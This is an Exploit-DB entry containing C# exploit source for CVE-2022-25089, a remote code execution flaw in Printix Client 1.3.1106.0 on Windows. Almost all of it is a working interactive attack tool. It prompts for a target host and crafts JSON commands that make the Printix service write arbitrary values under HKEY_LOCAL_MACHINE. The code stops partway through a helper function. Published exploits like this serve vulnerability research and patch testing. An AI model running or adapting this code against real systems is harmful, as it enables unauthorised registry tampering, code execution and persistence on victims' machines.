Exploit-DB #50798
Description: Printix Client 1.3.1106.0 - Remote Code Execution (RCE)
Type: remote
Platform: windows
Date: 2022-03-02
Author: Logan Latvala

Exploit:
# Exploit Title: Printix Client 1.3.1106.0 - Remote Code Execution (RCE)
# Date: 3/1/2022
# Exploit Author: Logan Latvala
# Vendor Homepage: https://printix.net
# Software Link: https://software.printix.net/client/win/1.3.1106.0/PrintixClientWindows.zip
# Version: <= 1.3.1106.0
# Tested on: Windows 7, Windows 8, Windows 10, Windows 11
# CVE : CVE-2022-25089
# Github for project: https://github.com/ComparedArray/printix-CVE-2022-25089

using Microsoft.Win32;
using Newtonsoft.Json;
using Newtonsoft.Json.Converters;
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Linq;
using System.Text;
using System.Threading;
using System.Threading.Tasks;

/**
 * ________________________________________
 * 
 * Printix Vulnerability, CVE-2022-25089
 * Part of a Printix Vulnerability series
 * Author: Logan Latvala
 * Github: https://github.com/ComparedArray/printix-CVE-2022-25089
 * ________________________________________
 * 
 */


namespace ConsoleApp1a
{

	public class PersistentRegistryData
	{
		public PersistentRegistryCmds cmd;

		public string path;

		public int VDIType;

		public byte[] registryData;
	}

	[JsonConverter(typeof(StringEnumConverter))]
	public enum PersistentRegistryCmds
	{
		StoreData = 1,
		DeleteSubTree,
		RestoreData
	}
	public class Session
	{
		public int commandNumber { get; set; }
		public string host { get; set; }
		public string data { get; set; }
		public string sessionName { get; set; }
		public Session(int commandSessionNumber = 0)
		{
			commandNumber = commandSessionNumber;
			switch (commandSessionNumber)
			{
				//Incase it's initiated, kill it immediately.
				case (0):
					Environment.Exit(0x001);
					break;

				//Incase the Ping request is sent though, get its needed data.
				case (2):
					Console.WriteLine("\n What Host Address?  (DNS Names Or IP)\n");
					Console.Write("IP: ");
					host = Console.ReadLine();
					Console.WriteLine("Host address set to: " + host);

					data = "pingData";
					sessionName = "PingerRinger";
					break;

				//Incase the RegEdit request is sent though, get its needed data.
				case (49):
					Console.WriteLine("\n What Host Address?  (DNS Names Or IP)\n");
					Console.Write("IP: ");
					host = Console.ReadLine();
					Console.WriteLine("Host address set to: " + host);

					PersistentRegistryData persistentRegistryData = new PersistentRegistryData();
					persistentRegistryData.cmd = PersistentRegistryCmds.RestoreData;
					persistentRegistryData.VDIType = 12; //(int)DefaultValues.VDIType;
														 //persistentRegistryData.path = "printix\\SOFTWARE\\Intel\\HeciServer\\das\\SocketServiceName";
					Console.WriteLine("\n What Node starting from \\\\Local-Machine\\ would you like to select? \n");
					Console.WriteLine("Example: HKEY_LOCAL_MACHINE\\SOFTWARE\\Intel\\HeciServer\\das\\SocketServiceName\n");
					Console.WriteLine("You can only change values in HKEY_LOCAL_MACHINE");
					Console.Write("Registry Node: ");
					persistentRegistryData.path = "" + Console.ReadLine().Replace("HKEY_LOCAL_MACHINE","printix");
					Console.WriteLine("Full Address Set To:  " + persistentRegistryData.path);

					//persistentRegistryData.registryData = new byte[2];
					//byte[] loader = selectDataType("Intel(R) Capability Licensing stuffidkreally", RegistryValueKind.String);

					Console.WriteLine("\n What Data type are you using? \n1. String 2. Dword  3. Qword 4. Multi String  \n");
					Console.Write("Type:  ");
					int dataF = int.Parse(Console.ReadLine());
					Console.WriteLine("Set Data to: " + dataF);

					Console.WriteLine("\n What value is your type?  \n");
					Console.Write("Value:  ");
					string dataB = Console.ReadLine();
					Console.WriteLine("Set Data to: " + dataF);

					byte[] loader = null;
					List<byte> byteContainer = new List<byte>();
					//Dword = 4
					//SET THIS NUMBER TO THE TYPE OF DATA YOU ARE USING! (CHECK ABOVE FUNCITON selectDataType()!)

					switch (dataF)
					{
						case (1):

							loader = selectDataType(dataB, RegistryValueKind.String);
							byteContainer.Add(1);
							break;
						case (2):
							loader = selectDataType(int.Parse(dataB), RegistryValueKind.DWord);
							byteContainer.Add(4);
							break;
						case (3):
							loader = selectDataType(long.Parse(dataB), RegistryValueKind.QWord);
							byteContainer.Add(11);
							break;
						case (4):
							loader = selectDataType(dataB.Split('%'), RegistryValueKind.MultiString);
							byteContainer.Add(7);
							break;

					}

					int pathHolder = 0;
					foreach (byte bit in loader)
					{
						pathHolder++;
						byteContainer.Add(bit);
					}

					persistentRegistryData.registryData = byteContainer.ToArray();
					//added stuff:

					//PersistentRegistryData data = new PersistentRegistryData();
					//data.cmd = PersistentRegistryCmds.RestoreData;
					//data.path = "";


					//data.cmd 
					Console.WriteLine(JsonConvert.SerializeObject(persistentRegistryData));
					data = JsonConvert.SerializeObject(persistentRegistryData);

					break;
				//Custom cases, such as custom JSON Inputs and more.
				case (100):
					Console.WriteLine("\n What Host Address?  (DNS Names Or IP)\n");
					Console.Write("IP: ");
					host = Console.ReadLine();
					Console.WriteLine("Host address set to: " + host);

					Console.WriteLine("\n What Data Should Be Sent?\n");
					Console.Write("Data: ");
					data = Console.ReadLine();
					Console.WriteLine("Data set to: " + data);

					Console.WriteLine("\n What Session Name Should Be Used? \n");
					Console.Write("Session Name: ");
					sessionName = Console.ReadLine();
					Console.WriteLine("Session name set to: " + sessionName);
					break;
			}


		}
		public static byte[] selectDataType(object value, RegistryValueKind format)
		{
			byte[] array = new byte[50